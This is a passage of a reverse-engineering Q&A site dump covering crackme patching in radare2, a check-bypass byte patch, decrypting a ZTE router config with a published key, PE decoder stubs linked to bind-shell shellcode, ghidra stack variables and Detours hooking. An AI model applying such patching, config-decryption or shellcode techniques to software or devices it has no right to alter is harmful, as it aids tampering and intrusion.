(de:ad:be:ef:fa:ce)&lt;/code&gt; to &lt;code&gt;var_8h&lt;/code&gt; or something like that, but I'm not sure how to go about it. I believe it would be easier to change the input to &lt;code&gt;xorencrypt&lt;/code&gt; rather than changing the output of &lt;code&gt;getMac&lt;/code&gt;, but I could be wrong.&lt;/p&gt;&#xA;&lt;p&gt;This is pretty much my first go with (dis)assembly and Radare2.&lt;/p&gt;&#xA;&lt;p&gt;The 64-bit ELF executable has 2 flags, &lt;code&gt;--debug&lt;/code&gt; and &lt;code&gt;--set-seed&lt;/code&gt;. You can solve this by setting the seed to 19016 and changing the MAC address of the first NIC in your system to &lt;code&gt;de:ad:be:ef:fa:ce&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://pubaccessfilesharing234234578369.s3.us-east-2.amazonaws.com/sentencebot/sentencebot&quot; rel=&quot;nofollow noreferrer&quot;&gt;Original executable here (sentencebot)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://pubaccessfilesharing234234578369.s3.us-east-2.amazonaws.com/sentencebot/sentencebot2&quot; rel=&quot;nofollow noreferrer&quot;&gt;My modified version here (sentencebot2)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35132" LastActivityDate="2021-12-30T20:01:05.073" Title="Crackme assistance - change input of a function" Tags="|disassembly|radare2|crackme|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26444" PostTypeId="2" ParentId="14559" CreationDate="2020-12-05T12:24:22.030" Score="0" Body="&lt;pre&gt;&lt;code&gt;mov al, 0x1&#xA;test al, al&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In binary: &lt;code&gt;B0 01 84 C0 C3&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Set &lt;code&gt;al&lt;/code&gt; to 1, then &lt;code&gt;AND&lt;/code&gt; with itself. The result is always 1, so &lt;code&gt;ZF&lt;/code&gt; is always zero. Quite trivial, but gets the job done. Patch at the beginning so you don't have to fill leftover bytes with &lt;code&gt;nop&lt;/code&gt; instructions.&lt;/p&gt;&#xA;" OwnerUserId="35139" LastActivityDate="2020-12-05T12:24:22.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26445" PostTypeId="2" ParentId="25941" CreationDate="2020-12-05T12:48:36.187" Score="1" Body="&lt;p&gt;OBB is what you are looking for:&#xA;&lt;a href=&quot;https://developer.android.com/google/play/expansion-files&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.android.com/google/play/expansion-files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35140" LastActivityDate="2020-12-05T12:48:36.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26446" PostTypeId="1" CreationDate="2020-12-05T13:06:24.787" Score="0" ViewCount="2618" Body="&lt;p&gt;hi i'm trying to decrypt config.bin file from new router I got from my company, I tried a tool found on github &amp;quot;https://github.com/mkst/zte-config-utility&amp;quot; I got this ERROR:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;python3 examples/decode.py --key 'tHG@Ti&amp;amp;GVh@ql3XN' --serial 'ZTEFG7GL7B112171' config.bin config.xml&#xA;Traceback (most recent call last):&#xA;  File &amp;quot;examples/decode.py&amp;quot;, line 41, in &amp;lt;module&amp;gt;&#xA;    main()&#xA;  File &amp;quot;examples/decode.py&amp;quot;, line 36, in main&#xA;    payload_type = zcu.zte.read_payload_type(infile)&#xA;  File &amp;quot;/home/user/.local/lib/python3.8/site-packages/zcu-0.1.0-py3.8.egg/zcu/zte.py&amp;quot;, line 51, in read_payload_type&#xA;  File &amp;quot;/home/user/.local/lib/python3.8/site-packages/zcu-0.1.0-py3.8.egg/zcu/zte.py&amp;quot;, line 45, in read_payload&#xA;AssertionError&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;binwalk gives me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -E -N config.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     ENTROPY&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Rising entropy edge (0.950362)&#xA;18432         0x4800          Falling entropy edge (0.617036)&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -W config.bin&#xA;&#xA;OFFSET      config.bin&#xA;--------------------------------------------------------------------------------&#xA;0x00000000  04 03 02 01 00 00 00 00 00 00 00 0F 5A 58 48 4E |............ZXHN|&#xA;0x00000010  20 48 32 36 37 4E 20 56 31 2E 31 01 02 03 04 00 |.H267N.V1.1.....|&#xA;0x00000020  00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|&#xA;0x00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|&#xA;0x00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|&#xA;0x00000050  00 00 00 00 00 00 00 00 00 47 B0 00 00 47 C0 00 |.........G...G..|&#xA;0x00000060  00 00 00 70 B0 93 D8 95 41 0B 8B A6 26 7B 59 35 |...p....A...&amp;amp;{Y5|&#xA;0x00000070  44 77 FF 9C 74 B2 02 15 29 F9 28 EA 5A F2 C5 84 |Dw..t...).(.Z...|&#xA;0x00000080  66 B1 2C 3E 10 5A 76 AA 2D D1 9E 9D AA 6E 49 1E |f.,&amp;gt;.Zv.-....nI.|&#xA;0x00000090  5F A1 6D 0D 42 E0 6C E9 D9 84 81 23 99 5A B5 22 |_.m.B.l....#.Z.&amp;quot;|&#xA;0x000000A0  09 BC 78 5A CB EF AF 4B D7 1E A2 40 D4 11 7F 7E |..xZ...K...@...~|&#xA;0x000000B0  EE EC DC E8 D7 CC 9C 8B EE BD 02 6C A7 BB F8 B6 |...........l....|&#xA;0x000000C0  76 01 2F 0A CD CE F4 B1 02 BF A9 C3 37 D1 3D 44 |v./.........7.=D|&#xA;0x000000D0  80 55 DD C9 DB 59 70 1C D9 9F DA 89 D6 04 14 66 |.U...Yp........f|&#xA;0x000000E0  AA 9B 77 AE 1D BB 0C C0 BF 2F F2 86 3D 3B E5 CA |..w....../..=;..|&#xA;0x000000F0  1E EF 25 2D 44 02 09 DE 6A BF 3A 91 56 65 58 6E |..%-D...j.:.VeXn|&#xA;0x00000100  B2 7B 5F 18 1F 18 90 3E 43 56 B8 9A 1A 5B 3A BC |.{_....&amp;gt;CV...[:.|&#xA;0x00000110  6E D0 5B 44 5F 2B 9E CC BC F4 12 8B 61 50 E4 C8 |n.[D_+......aP..|&#xA;0x00000120  1C 50 FF B9 2F 1E 34 83 57 63 72 45 5E E4 83 17 |.P../.4.WcrE^...|&#xA;0x00000130  8F ED 29 AC 0E 27 DF FD 30 C1 63 44 D2 35 2F E9 |..)..'..0.cD.5/.|&#xA;0x00000140  65 5B 6A AA 39 54 9D 5C 34 29 63 43 C6 1D 67 80 |e[j.9T.\4)cC..g.|&#xA;0x00000150  89 7B EB 08 A3 30 A9 67 A8 C0 38 EA B4 B1 7B 45 |.{...0.g..8...{E|&#xA;0x00000160  6D C5 3A A6 FC 90 52 05 20 62 E0 82 C8 A3 76 98 |m.:...R..b....v.|&#xA;0x00000170  D9 D8 7D B1 BE CC 1A B6 15 CA BB 85 5B 15 EE 1D |..}.........[...|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;any idea guys to decrypt config.bin file&lt;/p&gt;&#xA;" OwnerUserId="35141" LastActivityDate="2021-05-15T23:17:22.013" Title="Need Help with decryption backup config.bin file &quot;ZTE ZXHN H267N v1.1&quot;" Tags="|tools|encryption|decryption|" AnswerCount="0" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="26447" PostTypeId="2" ParentId="22500" CreationDate="2020-12-05T14:33:43.057" Score="1" Body="&lt;p&gt;You don't need the assembly language to add a decoder stub for the &lt;code&gt;.text&lt;/code&gt; section. You can just write the code in C/C++ compile it as a Position independent executable &amp;amp; extract the ONLY &lt;code&gt;.text&lt;/code&gt; section it'll have. After that you can just use a normal PE editor (CFF explorer is pretty robust) to manually add the &lt;code&gt;.stub&lt;/code&gt; section and paste the content of the &lt;code&gt;.text&lt;/code&gt; section extracted from your position independent compiled code. If you don't wanna go into trouble of creating Position independent code you can just use &lt;a href=&quot;https://github.com/mattifestation/PIC_Bindshell&quot; rel=&quot;nofollow noreferrer&quot;&gt;Position Independent Shellcode&lt;/a&gt; available on github.&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2020-12-05T14:33:43.057" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26448" PostTypeId="2" ParentId="26443" CreationDate="2020-12-05T18:28:24.590" Score="1" Body="&lt;p&gt;I think the best way to solve your problem is to study function calls in assembler.&lt;/p&gt;&#xA;&lt;p&gt;My guess is just need to replace the argument on the top of the stack with your desired MAC address.&lt;/p&gt;&#xA;&lt;p&gt;I believe this set of slides from Princeton will put you on the right track: &lt;a href=&quot;https://www.cs.princeton.edu/courses/archive/spr11/cos217/lectures/15AssemblyFunctions.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cs.princeton.edu/courses/archive/spr11/cos217/lectures/15AssemblyFunctions.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34929" LastActivityDate="2020-12-05T18:28:24.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26450" PostTypeId="1" CreationDate="2020-12-06T00:25:28.743" Score="0" ViewCount="87" Body="&lt;p&gt;Ive got a Nand image in bin format not encrypted armv4, cpu 80 MHz ARM 7TDMI processor it is a iPod nano 1st generation I want to see what calls the Nand makes because it is married to the motherboard. I have IDA Pro the cpu and version say they are supported by ida on their website but I do not see these options in the cpu selection. how would you go about disassembling a Nand dump to figure out how and why the chip is married to the motherboard. Like the iPhone I think you have to flash an identifier to the new Nand for security reasons.&lt;/p&gt;&#xA;" OwnerUserId="35147" LastActivityDate="2020-12-06T01:20:11.700" Title="how can I disassemble a Nand binary file from an iPod nano?" Tags="|disassembly|decryption|ipod|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26451" PostTypeId="2" ParentId="26450" CreationDate="2020-12-06T01:20:11.700" Score="1" Body="&lt;p&gt;The 32-bit ARM ISA is (mostly) backwards compatible so just pick the generic ARM processor, you don’t necessarily have to match it exactly.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-12-06T01:20:11.700" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26452" PostTypeId="1" AcceptedAnswerId="26455" CreationDate="2020-12-06T10:40:30.857" Score="0" ViewCount="63" Body="&lt;p&gt;I'm in the process of reverse engineering a USB driver, and I'm having problems finding a way to decode the binary representation of double values. The values don't seem to be encoded in IEEE-754 format.&lt;/p&gt;&#xA;&lt;p&gt;Do you have any suggestions on how these values should be decoded? Below, I included a couple of example double values and their corresponding binary representation.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1.0: 0000 0000 0000 0000 0000 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 &#xA;2.0: 0000 0000 0000 0000 0000 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 &#xA;3.0: 0000 0000 0000 0000 0000 1100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 &#xA;4.0: 0000 0000 0000 0000 0001 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 &#xA;5.0: 0000 0000 0000 0000 0001 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 &#xA;&#xA;-1.0: 1111 1111 1111 1111 1111 1100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 &#xA;-2.0: 1111 1111 1111 1111 1111 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 &#xA;-3.0: 1111 1111 1111 1111 1111 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 &#xA;-4.0: 1111 1111 1111 1111 1111 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 &#xA;-5.0: 1111 1111 1111 1111 1110 1100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 &#xA;&#xA;-0.1: 1111 1111 1111 1111 1111 1111 1001 1001 1001 1001 1001 1001 1001 1001 1001 1010 &#xA;-1.1: 1111 1111 1111 1111 1111 1011 1001 1001 1001 1001 1001 1001 1001 1001 1001 1010 &#xA;-2.2: 1111 1111 1111 1111 1111 0111 0011 0011 0011 0011 0011 0011 0011 0011 0011 0100 &#xA;-3.3: 1111 1111 1111 1111 1111 0010 1100 1100 1100 1100 1100 1100 1100 1100 1100 1101 &#xA;-4.4: 1111 1111 1111 1111 1110 1110 0110 0110 0110 0110 0110 0110 0110 0110 0110 0111 &#xA;-5.5: 1111 1111 1111 1111 1110 1010 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000&#xA;&#xA;1.1: 0000 0000 0000 0000 0000 0100 0110 0110 0110 0110 0110 0110 0110 0110 0110 0110 &#xA;1.2: 0000 0000 0000 0000 0000 0100 1100 1100 1100 1100 1100 1100 1100 1100 1100 1100 &#xA;1.3: 0000 0000 0000 0000 0000 0101 0011 0011 0011 0011 0011 0011 0011 0011 0011 0011 &#xA;1.4: 0000 0000 0000 0000 0000 0101 1001 1001 1001 1001 1001 1001 1001 1001 1001 1001 &#xA;1.5: 0000 0000 0000 0000 0000 0110 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000&#xA;1.6: 0000 0000 0000 0000 0000 0110 0110 0110 0110 0110 0110 0110 0110 0110 0110 0110 &#xA;1.7: 0000 0000 0000 0000 0000 0110 1100 1100 1100 1100 1100 1100 1100 1100 1100 1100 &#xA;1.8: 0000 0000 0000 0000 0000 0111 0011 0011 0011 0011 0011 0011 0011 0011 0011 0011 &#xA;1.9: 0000 0000 0000 0000 0000 0111 1001 1001 1001 1001 1001 1001 1001 1001 1001 1001 &#xA;&#xA;-9999.0: 1111 1111 0110 0011 1100 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35150" LastActivityDate="2020-12-06T12:20:48.260" Title="Encoding of 64-bit double" Tags="|encodings|usb|float|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26453" PostTypeId="1" AcceptedAnswerId="26459" CreationDate="2020-12-06T11:23:13.973" Score="3" ViewCount="587" Body="&lt;p&gt;I'm a newbie, so I'm asking for your help.&lt;/p&gt;&#xA;&lt;p&gt;I have to decode dumped data from an appliance because I wanted to try understand the data.&lt;/p&gt;&#xA;&lt;p&gt;The data are in this format and some information are known:&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 00 07 5F C7 6F 4F 01 &lt;strong&gt;05&lt;/strong&gt; C8 .. .. .. (some other bytes that are the same for each packet)&lt;/p&gt;&#xA;&lt;p&gt;7e = &lt;strong&gt;start framing&lt;/strong&gt; (Does not change)&lt;/p&gt;&#xA;&lt;p&gt;20 = &lt;strong&gt;length of packet&lt;/strong&gt; (Does not change)&lt;/p&gt;&#xA;&lt;p&gt;10 75 = &lt;strong&gt;packet type&lt;/strong&gt; (Does not change)&lt;/p&gt;&#xA;&lt;p&gt;00 00 00 07 = &lt;strong&gt;incremental number&lt;/strong&gt;, when it reach 00 00 00 FF, the next is 00 00 01 00&#xA;when checksum is failed the appliance retries with same number.&lt;/p&gt;&#xA;&lt;p&gt;5F C7 6F 4F &lt;strong&gt;hex timestamp&lt;/strong&gt; (unix timestamp converted in hexadecimal)&lt;/p&gt;&#xA;&lt;p&gt;01 &lt;strong&gt;ALTERNATING VALUE&lt;/strong&gt; 01 or 21 (this value alternate on each received packet)&lt;/p&gt;&#xA;&lt;p&gt;05 &lt;strong&gt;MISTERY BYTE&lt;/strong&gt;, i'll explain later&lt;/p&gt;&#xA;&lt;p&gt;C8 checksum calculated with the sum of incremental number plus hex timestamp, then mod 256 and subtracted with 0x03 when the alternating value is 21 or 0x23 when alternating value is set to 01. When the resulting value is negative you have to discard all FF FF and take the last byte.&lt;/p&gt;&#xA;&lt;p&gt;The problem is the mistery byte.&lt;/p&gt;&#xA;&lt;p&gt;At first glance seems to be:&lt;/p&gt;&#xA;&lt;p&gt;When last byte of timestamp is greather than checksum, the mistery byte is: 06, else is 05.&#xA;But sometimes this value is &amp;quot;07&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Here another example:&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 00 08 5F C7 71 73 21 &lt;strong&gt;06&lt;/strong&gt; 0F .. .. ..&lt;/p&gt;&#xA;&lt;p&gt;checksum calculation method:&#xA;00 + 00 + 00  + 08 + 5F + C7 + 71 = 0x212 (decimal 530)&lt;/p&gt;&#xA;&lt;p&gt;530 mod 256 = 18&lt;/p&gt;&#xA;&lt;p&gt;decimal 18 to hex = 12&lt;/p&gt;&#xA;&lt;p&gt;because the alternating value is 21, i have to subtract 0x3 -&amp;gt; 12 - 0x03  = checksum = 0F&lt;/p&gt;&#xA;&lt;p&gt;now the last byte of checksum 73 is greather than 0F so the result of mistery byte seems correct to be 06&lt;/p&gt;&#xA;&lt;p&gt;the problem comes when mistery field is sometimes 07. I think that this value is not merely a comparing with last byte of timestamp with checksum, but i missed something.&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 00 87 5F C7 7B ED 21 &lt;strong&gt;07&lt;/strong&gt; 12&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 00 88 5F C7 7B FF 01 &lt;strong&gt;07&lt;/strong&gt; 05&lt;/p&gt;&#xA;&lt;p&gt;Here some other example that seems 06 alternate with 07:&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 00 D0 5F C7 80 89 01 &lt;strong&gt;06&lt;/strong&gt; DC&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 00 D1 5F C7 80 8F 21 &lt;strong&gt;07&lt;/strong&gt; 03&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 00 D2 5F C7 80 95 01 &lt;strong&gt;06&lt;/strong&gt; EA&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 00 D3 5F C7 80 96 21 &lt;strong&gt;07&lt;/strong&gt; 0C&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 00 D4 5F C7 80 9B 01 &lt;strong&gt;06&lt;/strong&gt; F2&lt;/p&gt;&#xA;&lt;p&gt;but soon there are 07 for a lot of rows&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 00 D9 5F C7 80 A9 21 &lt;strong&gt;07&lt;/strong&gt; 25&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 00 DA 5F C7 80 AA 01 &lt;strong&gt;07&lt;/strong&gt; 07&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 00 DB 5F C7 80 AA 21 &lt;strong&gt;07&lt;/strong&gt; 28&lt;/p&gt;&#xA;&lt;p&gt;some examples with &amp;quot;05&amp;quot; mistery byte.&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 01 09 5F C7 82 00 21 &lt;strong&gt;05&lt;/strong&gt; AF&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 01 0A 5F C7 82 05 01 &lt;strong&gt;05&lt;/strong&gt; 95&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 01 0B 5F C7 82 26 21 &lt;strong&gt;05&lt;/strong&gt; D7&lt;/p&gt;&#xA;&lt;p&gt;7E 00 20 10 75 00 00 01 0C 5F C7 82 2C 01 &lt;strong&gt;05&lt;/strong&gt; BE&lt;/p&gt;&#xA;&lt;p&gt;Any clue of what this mistery byte is used for?&lt;/p&gt;&#xA;" OwnerUserId="35152" LastEditorUserId="35152" LastEditDate="2020-12-06T14:06:24.523" LastActivityDate="2020-12-06T20:27:29.340" Title="Decoding algorithm with checksum" Tags="|disassembly|decryption|crc|dumping|memory-dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26455" PostTypeId="2" ParentId="26452" CreationDate="2020-12-06T12:20:48.260" Score="3" Body="&lt;p&gt;This appears to be a fixed-point (rather than a floating-point) format.&lt;/p&gt;&#xA;&lt;p&gt;If you treat the 64-bit values as signed integers and divide by 4398046511104.0, you will get the decimal values you show.&lt;/p&gt;&#xA;&lt;p&gt;e.g. the following will print -9999&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;cstdint&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    int64_t x = 0xFF63C40000000000LL;&#xA;&#xA;    double y = x / 4398046511104.0;&#xA;&#xA;    std::cout &amp;lt;&amp;lt; y &amp;lt;&amp;lt; std::endl;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2020-12-06T12:20:48.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26456" PostTypeId="1" AcceptedAnswerId="26483" CreationDate="2020-12-06T13:28:03.020" Score="4" ViewCount="4115" Body="&lt;p&gt;Attached is the part of a disassembled main from a x86 binary file, generated by ghidra.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;                             **************************************************************&#xA;                             *                          FUNCTION                          *&#xA;                             **************************************************************&#xA;                             undefined main(undefined1 param_1)&#xA;             undefined         AL:1           &amp;lt;RETURN&amp;gt;                                XREF[1]:     0804835e(W)  &#xA;             undefined1        Stack[0x4]:1   param_1                                 XREF[1]:     08048309(*)  &#xA;             undefined4        EAX:4          str_in                                  XREF[1]:     0804835e(W)  &#xA;             undefined4        Stack[0x0]:4   local_res0                              XREF[1]:     08048310(R)  &#xA;             undefined4        Stack[-0x10]:4 local_10                                XREF[6]:     08048358(R), &#xA;                                                                                                   08048363(W), &#xA;                                                                                                   0804836d(R), &#xA;                                                                                                   08048388(R), &#xA;                                                                                                   08048393(W), &#xA;                                                                                                   0804839d(R)  &#xA;             undefined4        Stack[-0x14]:4 local_14                                XREF[2]:     0804831a(W), &#xA;                                                                                                   08048366(R)  &#xA;             undefined4        Stack[-0x18]:4 local_18                                XREF[2]:     08048321(W), &#xA;                                                                                                   08048396(R)  &#xA;             undefined4        Stack[-0x2c]:4 local_2c                                XREF[3]:     08048369(W), &#xA;                                                                                                   08048399(W), &#xA;                                                                                                   080483ac(W)  &#xA;             undefined4        Stack[-0x30]:4 local_30                                XREF[12]:    08048328(*), &#xA;                                                                                                   08048334(*), &#xA;                                                                                                   08048340(*), &#xA;                                                                                                   0804834c(*), &#xA;                                                                                                   0804835b(*), &#xA;                                                                                                   08048370(*), &#xA;                                                                                                   0804837c(*), &#xA;                                                                                                   0804838b(*), &#xA;                                                                                                   080483a0(*), &#xA;                                                                                                   080483b4(*), &#xA;                                                                                                   080483c2(*), &#xA;                                                                                                   080483d0(*)  &#xA;                             main                                            XREF[2]:     Entry Point(*), &#xA;                                                                                          _start:08048167(*)  &#xA;        08048309 8d 4c 24 04     LEA        ECX=&amp;gt;param_1,[ESP + 0x4]&#xA;        0804830d 83 e4 f0        AND        ESP,0xfffffff0&#xA;        08048310 ff 71 fc        PUSH       dword ptr [ECX + local_res0]&#xA;        08048313 55              PUSH       EBP&#xA;        08048314 89 e5           MOV        EBP,ESP&#xA;        08048316 51              PUSH       ECX&#xA;        08048317 83 ec 24        SUB        ESP,0x24&#xA;        0804831a c7 45 f4        MOV        dword ptr [EBP + local_14],DAT_080a6b19          = 6Ah    j&#xA;                 19 6b 0a 08&#xA;        08048321 c7 45 f0        MOV        dword ptr [EBP + local_18],s_the_ripper_080a6b1e = &amp;quot;the ripper&amp;quot;&#xA;                 1e 6b 0a 08&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Same code from gdb&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;   0x08048309 &amp;lt;+0&amp;gt;: lea    ecx,[esp+0x4]&#xA;   0x0804830d &amp;lt;+4&amp;gt;: and    esp,0xfffffff0&#xA;   0x08048310 &amp;lt;+7&amp;gt;: push   DWORD PTR [ecx-0x4]&#xA;   0x08048313 &amp;lt;+10&amp;gt;:    push   ebp&#xA;   0x08048314 &amp;lt;+11&amp;gt;:    mov    ebp,esp&#xA;   0x08048316 &amp;lt;+13&amp;gt;:    push   ecx&#xA;   0x08048317 &amp;lt;+14&amp;gt;:    sub    esp,0x24&#xA;=&amp;gt; 0x0804831a &amp;lt;+17&amp;gt;:    mov    DWORD PTR [ebp-0xc],0x80a6b19&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Why is ghidra changeing &lt;code&gt;[ebp-0xc]&lt;/code&gt; to &lt;code&gt;[EBP + local_14]&lt;/code&gt;.&#xA;Similar question I found is &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/23540/ghidra-interpreting-stack-pointers-wrongly&quot;&gt;Ghidra interpreting stack pointers wrongly&lt;/a&gt; but reading the answer, I'm not getting the meaning of &lt;code&gt;[EBP + local_14]&lt;/code&gt; Here, is ghidra just renaming &lt;code&gt;-0xc&lt;/code&gt; to a easily readable name like &lt;code&gt;local_14&lt;/code&gt;? I'm not getting how to make sense of this exactly.&lt;/p&gt;&#xA;&lt;p&gt;In the function header, it is shown that &lt;code&gt;Stack[-0x10]:4 local_10&lt;/code&gt;. I assume it means that &lt;code&gt;local_10&lt;/code&gt; is 4 byte variable at Stack[-0x10], where Stack is the stack pointer upon entry to function. But why is it added to ebp. What's the meaning of that representation used by ghidra?&lt;/p&gt;&#xA;" OwnerUserId="28943" LastEditorUserId="28943" LastEditDate="2020-12-06T16:52:33.423" LastActivityDate="2020-12-08T17:26:16.193" Title="Correct way to understand local_ in ghidra disassembly" Tags="|disassembly|binary-analysis|x86|gdb|ghidra|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26457" PostTypeId="1" CreationDate="2020-12-06T14:01:56.270" Score="1" ViewCount="218" Body="&lt;p&gt;I need to hook 10/20 functions like these:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;static void* __cdecl HookFunction1(char *FileName, int a2, int a3, int a4);&#xA;&#xA;&#xA; __declspec(naked)  void HookFunction2(char  *Src, int pedx, int &#xA;    &#xA;    a3, int a4, int a5, int a6);&#xA;    &#xA; static BOOL HookFunction3(int a1, DWORD *a2, DWORD *a3, int a4, char a5, int a6);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and I use this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;switch (int iD)&#xA;{&#xA;case 1&#xA;&#xA;    DetourAttach(&amp;amp;(LPVOID&amp;amp;)AddressOfHook, &amp;amp;HookFunction1);&#xA;&#xA;case 2&#xA;   DetourAttach(&amp;amp;(LPVOID&amp;amp;)AddressOfHook, &amp;amp;HookFunction2);&#xA;&#xA;case 3&#xA;   DetourAttach(&amp;amp;(LPVOID&amp;amp;)AddressOfHook, &amp;amp;HookFunction3);&#xA;.....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but I like to not repeat x times &amp;quot;DetourAttach&amp;quot; and I like do to something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;switch (int iD)&#xA;{&#xA;case 1&#xA;&#xA;    HookFunction = &amp;amp;HookFunction1;&#xA;&#xA;case 2&#xA;    HookFunction = &amp;amp;HookFunction2;&#xA;&#xA;case 3&#xA;   HookFunction = &amp;amp;HookFunction3;&#xA;.....&#xA;}&#xA;&#xA;DetourAttach(&amp;amp;(LPVOID&amp;amp;)AddressOfHook, &amp;amp;HookFunction);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I ask if there is a easy way to do this becouse is more flexible.&lt;/p&gt;&#xA;&lt;p&gt;Thanks !!&lt;/p&gt;&#xA;" OwnerUserId="33776" LastActivityDate="2023-12-21T02:02:00.267" Title="Function pointer reference" Tags="|c++|function-hooking|pointer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26458" PostTypeId="2" ParentId="26457" CreationDate="2020-12-06T14:29:34.487" Score="0" Body="&lt;p&gt;I have solved myself.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;PVOID HookFunction;&#xA;&#xA;HookFunction = (PVOID)HookFunction1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DetourAttach(&amp;amp;(LPVOID&amp;amp;)AddressOfHook, HookFunction);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33776" LastEditorUserId="14622" LastEditDate="2022-05-02T11:23:24.470" LastActivityDate="2022-05-02T11:23:24.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
